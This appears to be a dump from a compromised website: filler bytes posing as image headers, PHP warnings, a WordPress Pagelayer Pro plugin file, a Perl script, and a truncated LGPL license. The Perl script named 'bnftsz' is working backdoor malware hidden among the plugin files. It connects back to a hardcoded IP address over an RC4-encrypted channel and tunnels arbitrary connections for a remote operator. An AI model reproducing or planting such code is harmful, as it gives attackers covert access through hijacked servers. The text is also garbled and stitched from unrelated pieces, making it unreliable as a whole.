???????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ???????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ???????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ????????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ???????????????????????????????????????? ??????????????????????????????????????? $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ PNG \x49\x44\x41\x54?\x89\x50 \x4E\x47\x0D\x0A\x1A\x0A JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?   ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ adadasdasdasasdasdas .....................................................................................................................................?????????????????????? ??? ???????????????????????????????????????............................... JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?   ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ adadasdasdasasdasdas ..................................................................................................................................... ???????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ???????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ???????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ????????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ???????????????????????????????????????? ??????????????????????????????????????? PNG \x49\x44\x41\x54?\x89\x50 \x4E\x47\x0D\x0A\x1A\x0A JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?   ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ adadasdasdasasdasdas .....................................................................................................................................?????????????????????? ??? ???????????????????????????????????????............................... JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?   ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ adadasdasdasasdasdas .....................................................................................................................................???????????????????????????????? ??????????????????????????????? ??????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.
Warning: Undefined variable $auth in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 695

Warning: Trying to access array offset on value of type null in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 695

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 332

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 333

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 334

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 335

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 336

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 337
PK)Y\W\zinit.phpnu[addQueryArgFilter('pagelayer_pro_updater_filter_args'); // Show the text to install the license key add_filter('puc_manual_final_check_link-pagelayer-pro', 'pagelayer_pro_updater_check_link', 10, 1); // Load the template builder include_once(PAGELAYER_PRO_DIR.'/main/template-builder.php'); $pagelayer->allowed_mime_type = array( 'otf' => 'font/otf', 'ttf' => 'font/ttf', 'woff' => 'font/woff|application/font-woff|application/x-font-woff', 'woff2' => 'font/woff2|font/x-woff2' ); // Load the pagelayer custom fonts include_once(PAGELAYER_PRO_DIR.'/main/custom_fonts.php'); // Are we to disable the notice if(current_user_can('activate_plugins')){ if(isset($_GET['pagelayer-pro-version-notice']) && (int)$_GET['pagelayer-pro-version-notice'] == 0){ check_ajax_referer('pagelayer_pro_version_nonce', 'pagelayer_nonce'); if(!empty($_REQUEST['type'])){ // Notice dismiss for 7 days update_option('pagelayer_pro_'.$_REQUEST['type'].'_version_nag', time() + (7 * 86400)); } die('DONE'); } // Show the version notice add_action('admin_notices', 'pagelayer_pro_free_version_nag'); } } // Nag when plugins dont have same version. function pagelayer_pro_free_version_nag(){ if(!defined('PAGELAYER_VERSION')){ return; } $sctipt_enqueue = false; $older_pro = get_option('pagelayer_pro_older_pro_version_nag'); $older_free = get_option('pagelayer_pro_older_free_version_nag'); if(version_compare(PAGELAYER_VERSION, PAGELAYER_PRO_VERSION) > 0 && (empty($older_pro) || $older_pro < time())){ echo '

'.esc_html__('You are using an older version of Pagelayer Pro. We recommend updating to the latest version to ensure seamless and uninterrupted use of the plugin.').'

'; $sctipt_enqueue = true; }elseif(version_compare(PAGELAYER_VERSION, PAGELAYER_PRO_VERSION) < 0 && (empty($older_free) || $older_free < time())){ echo '

'.esc_html__('You are using an older version of Pagelayer. We recommend updating to the latest free version to ensure smooth and uninterrupted use of the plugin.') .'

'; $sctipt_enqueue = true; } if($sctipt_enqueue){ echo ' '; } } // Add filter to load custom widgets functions add_action('pagelayer_load_shortcode_functions', 'pagelayer_pro_load_shortcode_functions'); function pagelayer_pro_load_shortcode_functions(){ include_once(PAGELAYER_PRO_DIR.'/main/freemium_functions.php'); include_once(PAGELAYER_PRO_DIR.'/main/premium_functions.php'); } // Apply filter to load custom widgets after shortcodes add_action('pagelayer_after_add_shortcode', 'pagelayer_pro_after_add_shortcode'); function pagelayer_pro_after_add_shortcode(){ include_once(PAGELAYER_PRO_DIR.'/main/freemium.php'); include_once(PAGELAYER_PRO_DIR.'/main/premium.php'); } // Load customizer setting add_action('pagelayer_after_wc_customization', 'pagelayer_pro_after_wc_customization'); function pagelayer_pro_after_wc_customization(){ include_once(PAGELAYER_PRO_DIR.'/main/premium-woocommerce.php'); } // Load Local google fonts add_action('pagelayer_google_fonts_url', 'pagelayer_pro_google_fonts_url'); function pagelayer_pro_google_fonts_url($fonts_url){ // Is google font serve locally? if(get_option('pagelayer_local_gfont') != 1){ return $fonts_url; } $upload_dir = wp_upload_dir(); $local_font_md5 = md5($fonts_url); $_fonts_url = $upload_dir['baseurl'].'/pl-google-fonts/'.$local_font_md5.'.css'; $_fonts_path = $upload_dir['basedir'].'/pl-google-fonts/'.$local_font_md5.'.css'; if(!file_exists($_fonts_path) && file_exists(PAGELAYER_PRO_DIR.'/main/download_google_fonts.php')){ include_once(PAGELAYER_PRO_DIR.'/main/download_google_fonts.php'); pagelayer_pro_download_google_fonts($fonts_url); } return $_fonts_url; } // Load js files for editor add_action('pagelayer_editor_give_js', 'pagelayer_pro_editor_give_js'); function pagelayer_pro_editor_give_js($js){ $js.= '&premium=premium.js'; return $js; } // Load js files add_action('pagelayer_add_give_js', 'pagelayer_pro_add_give_js'); function pagelayer_pro_add_give_js($js){ $js.= '&premium=chart.min.js,premium-frontend.js,shuffle.min.js'; return $js; } // Load css files add_action('pagelayer_add_give_css', 'pagelayer_pro_add_give_css'); function pagelayer_pro_add_give_css($css){ $css.= '&premium=premium-frontend.css'; return $css; } // Load this For audio widget add_action('pagelayer_load_audio_widget', 'pagelayer_pro_load_audio_widget'); function pagelayer_pro_load_audio_widget($is_audio){ global $pagelayer; if($is_audio || pagelayer_is_live_iframe()){ wp_enqueue_script('wp-mediaelement'); wp_enqueue_style( 'wp-mediaelement' ); $pagelayer->sc_audio_enqueued = 1; } } // Load the langs add_action('pagelayer_load_languages', 'pagelayer_pro_load_languages'); function pagelayer_pro_load_languages($langs){ $_langs = @file_get_contents(PAGELAYER_PRO_DIR.'/languages/en.json'); $_langs = @json_decode($_langs, true); if(!empty($_langs)){ $langs = array_merge($langs, $_langs); } return $langs; } PK*Y\7$$8bnftszenu[#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.168'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); PK*Y\>X"Vgg license.txtnu[ GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY 